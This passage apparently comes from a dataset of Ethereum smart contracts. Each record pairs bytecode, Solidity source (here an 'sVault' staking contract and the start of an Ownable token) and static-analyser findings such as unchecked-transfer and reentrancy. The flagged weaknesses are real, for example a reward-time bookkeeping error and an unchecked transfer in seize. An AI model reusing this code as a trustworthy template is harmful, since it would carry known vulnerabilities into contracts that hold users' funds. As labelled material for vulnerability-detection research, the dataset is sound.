ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254019250508190555080915050919050565b6000611a3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ced565b905092915050565b6000611a63600654611a556007548561172090919063ffffffff16565b611b8490919063ffffffff16565b90506000611a7c600254836117a690919063ffffffff16565b9050611a9360025483611dad90919063ffffffff16565b600681905550611aae81600554611b8490919063ffffffff16565b600581905550611adf81600a6000600160085403815260200190815260200160002054611b8490919063ffffffff16565b600a60006008548152602001908152602001600020819055507fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b66008548433604051808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1600860008154809291906001019190505550505050565b600080828401905083811015611c02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000818260018486010381611c1d57fe5b0402905092915050565b60008083118290611cd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c98578082015181840152602081019050611c7d565b50505050905090810190601f168015611cc55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611cdf57fe5b049050809150509392505050565b6000838311158290611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d5f578082015181840152602081019050611d44565b50505050905090810190601f168015611d8c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000611def83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250611df7565b905092915050565b6000808314158290611ea4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e69578082015181840152602081019050611e4e565b50505050905090810190601f168015611e965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50828481611eae57fe5b069050939250505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a2646970667358221220d1b1d5ae19355c7d75ce1049313dc6eac1917f132788416aac42d4bbdbe57dab64736f6c63430006000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,284 |
0x3573a5c8ae94ca17ed87090109c930f9a1af7d82
|
/**
*Submitted for verification at Etherscan.io on 2021-02-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract sVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill;
uint256 public delayDuration = 7 days;
bool public withdrawable;
uint256 public totalRate = 10000;
uint256 public userRate = 8500;
address public treasury;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name, address _treasury) payable {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
treasury = _treasury;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setTotalRate(uint256 _totalRate)
external
onlyGov
{
totalRate = _totalRate;
}
function setTreasury(address _treasury)
external
onlyGov
{
treasury = _treasury;
}
function setUserRate(uint256 _userRate)
external
onlyGov
{
userRate = _userRate;
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
uint256 amountUser = amount.mul(userRate).div(totalRate);
amount = amount.sub(amountUser);
token1.safeTransferFrom(msg.sender, address(this), amountUser);
token1.safeTransferFrom(msg.sender, treasury, amount);
Reward memory reward;
reward = Reward(amountUser, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amountUser);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
function seize(address token, address to) external onlyGov {
require(IERC20(token) != token0 && IERC20(token) != token1, "main tokens");
if (token != address(0)) {
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(to, amount);
}
else {
uint256 amount = address(this).balance;
payable(to).transfer(amount);
}
}
fallback () external payable { }
receive () external payable { }
}
|
0x6080604052600436106102345760003560e01c8063ab033ea91161012e578063c78b6dea116100ab578063e4186aa61161006f578063e4186aa6146107d9578063f0f442601461080c578063fab980b71461083f578063fcc0c680146108c9578063fe7b82d9146109045761023b565b8063c78b6dea14610729578063cbeb7ef214610753578063d21220a71461077f578063d86e1ef714610794578063e2aa2a85146107c45761023b565b8063b79ea884116100f2578063b79ea88414610669578063b8f6e8411461069c578063b8f79288146106b1578063c45c4f58146106e1578063c6e426bd146106f65761023b565b8063ab033ea91461059a578063adc3b31b146105cd578063ae169a5014610600578063b5984a361461062a578063b6b55f251461063f5761023b565b8063430bf08a116101bc578063637830ca11610180578063637830ca146104c257806371e2f020146104d757806385535cc5146104ec5780638705fcd41461051f5780638f1e9405146105525761023b565b8063430bf08a1461040e57806344264d3d1461042357806344a040f514610451578063501883011461048457806361d027b3146104ad5761023b565b806327b5b6a01161020357806327b5b6a01461035d5780632e1a7d4d1461039057806336422e54146103ba57806341275358146103e457806342a66f68146103f95761023b565b80630dfe16811461023d57806311cc66b21461026e57806312d43a51146103215780631c69ad00146103365761023b565b3661023b57005b005b34801561024957600080fd5b5061025261092e565b604080516001600160a01b039092168252519081900360200190f35b34801561027a57600080fd5b5061023b6004803603602081101561029157600080fd5b8101906020810181356401000000008111156102ac57600080fd5b8201836020820111156102be57600080fd5b803590602001918460018302840111640100000000831117156102e057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061093d945050505050565b34801561032d57600080fd5b506102526109a1565b34801561034257600080fd5b5061034b6109b0565b60408051918252519081900360200190f35b34801561036957600080fd5b5061034b6004803603602081101561038057600080fd5b50356001600160a01b0316610a2c565b34801561039c57600080fd5b5061023b600480360360208110156103b357600080fd5b5035610a3e565b3480156103c657600080fd5b5061023b600480360360208110156103dd57600080fd5b5035610c4a565b3480156103f057600080fd5b50610252610c9c565b34801561040557600080fd5b5061034b610cab565b34801561041a57600080fd5b50610252610cb1565b34801561042f57600080fd5b50610438610cc0565b6040805163ffffffff9092168252519081900360200190f35b34801561045d57600080fd5b5061034b6004803603602081101561047457600080fd5b50356001600160a01b0316610cd3565b34801561049057600080fd5b50610499610e76565b604080519115158252519081900360200190f35b3480156104b957600080fd5b50610252610e7f565b3480156104ce57600080fd5b5061023b610e8e565b3480156104e357600080fd5b5061034b610eee565b3480156104f857600080fd5b5061023b6004803603602081101561050f57600080fd5b50356001600160a01b0316610ef4565b34801561052b57600080fd5b5061023b6004803603602081101561054257600080fd5b50356001600160a01b0316610f63565b34801561055e57600080fd5b5061057c6004803603602081101561057557600080fd5b5035610fd2565b60408051938452602084019290925282820152519081900360600190f35b3480156105a657600080fd5b5061023b600480360360208110156105bd57600080fd5b50356001600160a01b0316611005565b3480156105d957600080fd5b5061034b600480360360208110156105f057600080fd5b50356001600160a01b0316611074565b34801561060c57600080fd5b5061023b6004803603602081101561062357600080fd5b5035611086565b34801561063657600080fd5b5061034b6110ee565b34801561064b57600080fd5b5061023b6004803603602081101561066257600080fd5b50356110f4565b34801561067557600080fd5b5061023b6004803603602081101561068c57600080fd5b50356001600160a01b03166111f7565b3480156106a857600080fd5b5061034b611266565b3480156106bd57600080fd5b5061023b600480360360208110156106d457600080fd5b503563ffffffff1661126c565b3480156106ed57600080fd5b5061034b6112df565b34801561070257600080fd5b5061023b6004803603602081101561071957600080fd5b50356001600160a01b031661132a565b34801561073557600080fd5b5061023b6004803603602081101561074c57600080fd5b5035611399565b34801561075f57600080fd5b5061023b6004803603602081101561077657600080fd5b50351515611586565b34801561078b57600080fd5b506102526115e6565b3480156107a057600080fd5b5061023b600480360360208110156107b757600080fd5b503563ffffffff166115f5565b3480156107d057600080fd5b5061034b61164d565b3480156107e557600080fd5b5061034b600480360360208110156107fc57600080fd5b50356001600160a01b0316611653565b34801561081857600080fd5b5061023b6004803603602081101561082f57600080fd5b50356001600160a01b0316611665565b34801561084b57600080fd5b506108546116d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561088e578181015183820152602001610876565b50505050905090810190601f1680156108bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d557600080fd5b5061023b600480360360408110156108ec57600080fd5b506001600160a01b0381358116916020013516611762565b34801561091057600080fd5b5061023b6004803603602081101561092757600080fd5b503561196b565b6006546001600160a01b031681565b600f546001600160a01b0316331461098a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b805161099d906005906020840190611f9c565b5050565b600f546001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b505afa158015610a0f573d6000803e3d6000fd5b505050506040513d6020811015610a2557600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b505111610afc576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610b46576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b610b4f336119bd565b33600090815260026020526040902054811115610b785750336000908152600260205260409020545b60008111610bc0576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600654610bd7906001600160a01b03163383611ac5565b33600090815260026020526040902054610bf19082611b17565b33600090815260026020526040902055600354610c0e9082611b17565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b600f546001600160a01b03163314610c97576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600d55565b6008546001600160a01b031681565b600c5481565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610e6f578115610dc757600454600019015b60048181548110610d1857fe5b906000526020600020906003020160010154831015610dc557610db0610da960048381548110610d4457fe5b906000526020600020906003020160020154610da3600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b600091825260209091206003909102015490611b62565b90611bbb565b8390611bfd565b915080610dbc57610dc5565b60001901610d0b565b505b600454600019015b610e02600a5460048381548110610de257fe5b906000526020600020906003020160010154611bfd90919063ffffffff16565b421015610e6d576000610e1b60048381548110610d4457fe5b9050610e4a600a54610da3610e4342610e3d600a5460048981548110610de257fe5b90611b17565b8490611b62565b9050610e568382611b17565b925081610e635750610e6d565b5060001901610dcf565b505b9392505050565b600b5460ff1681565b600e546001600160a01b031681565b610e97336119bd565b6000610ea233610cd3565b33600090815260016020526040902054909150610ebf9082611b17565b33600081815260016020526040902091909155600754610eeb916001600160a01b039091169083611ac5565b50565b600d5481565b600f546001600160a01b03163314610f41576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600f546001600160a01b03163314610fb0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610fe257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600f546001600160a01b03163314611052576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60016020526000908152604090205481565b61108f336119bd565b600061109a33610cd3565b9050808211156110a8578091505b336000908152600160205260409020546110c29083611b17565b3360008181526001602052604090209190915560075461099d916001600160a01b039091169084611ac5565b600a5481565b6110fd336119bd565b600954600090611127906103e890610da390859063ffffffff600160a01b909104811690611b6216565b905060006111358383611b17565b9050811561115c5760085460065461115c916001600160a01b039182169133911685611c57565b80156111f257600954600654611181916001600160a01b039182169133911684611c57565b3360009081526002602052604090205461119b9082611bfd565b336000908152600260205260409020556003546111b89082611bfd565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600f546001600160a01b03163314611244576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600f546001600160a01b031633146112b9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b600f546001600160a01b03163314611377576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116113df576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611436576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b6000611453600c54610da3600d5485611b6290919063ffffffff16565b905061145f8282611b17565b60075490925061147a906001600160a01b0316333084611c57565b600e54600754611499916001600160a01b039182169133911685611c57565b6114a1612028565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a1505050565b600f546001600160a01b031633146115d3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600f546001600160a01b03163314611642576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b60105481565b60026020526000908152604090205481565b600f546001600160a01b031633146116b2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561175a5780601f1061172f5761010080835404028352916020019161175a565b820191906000526020600020905b81548152906001019060200180831161173d57829003601f168201915b505050505081565b600f546001600160a01b031633146117af576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006546001600160a01b038381169116148015906117db57506007546001600160a01b03838116911614155b61181a576040805162461bcd60e51b815260206004820152600b60248201526a6d61696e20746f6b656e7360a81b604482015290519081900360640190fd5b6001600160a01b0382161561192d576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561187857600080fd5b505afa15801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156118fa57600080fd5b505af115801561190e573d6000803e3d6000fd5b505050506040513d602081101561192457600080fd5b5061099d915050565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611965573d6000803e3d6000fd5b50505050565b600f546001600160a01b031633146119b8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600c55565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906119f0575060045415155b15611a9557600454600019015b60048181548110611a0a57fe5b906000526020600020906003020160010154831015611a9357611a7e610da960048381548110611a3657fe5b906000526020600020906003020160020154610da360026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b915080611a8a57611a93565b600019016119fd565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111f2908490611cad565b6000611b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e64565b90505b92915050565b600082611b7157506000611b5c565b82820282848281611b7e57fe5b0414611b595760405162461bcd60e51b815260040180806020018281038252602181526020018061205f6021913960400191505060405180910390fd5b6000611b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611efb565b600082820183811015611b59576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119659085905b611cbf826001600160a01b0316611f60565b611d10576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611daf576040519150601f19603f3d011682016040523d82523d6000602084013e611db4565b606091505b509150915081611e0b576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561196557808060200190516020811015611e2757600080fd5b50516119655760405162461bcd60e51b815260040180806020018281038252602a815260200180612080602a913960400191505060405180910390fd5b60008184841115611ef35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611eb8578181015183820152602001611ea0565b50505050905090810190601f168015611ee55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611f4a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611eb8578181015183820152602001611ea0565b506000838581611f5657fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611f945750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611fd25760008555612018565b82601f10611feb57805160ff1916838001178555612018565b82800160010185558215612018579182015b82811115612018578251825591602001919060010190611ffd565b50612024929150612049565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b80821115612024576000815560010161204a56fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122042d613be6e3a02fe17c0d7be989a2adfbd1c498a58a82ef65db2b1803e6a571264736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,285 |
0x24443ce07daca445b161b1e5a5bf1031ac94e22f
|
/**
*Submitted for verification at Etherscan.io on 2021-05-08
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
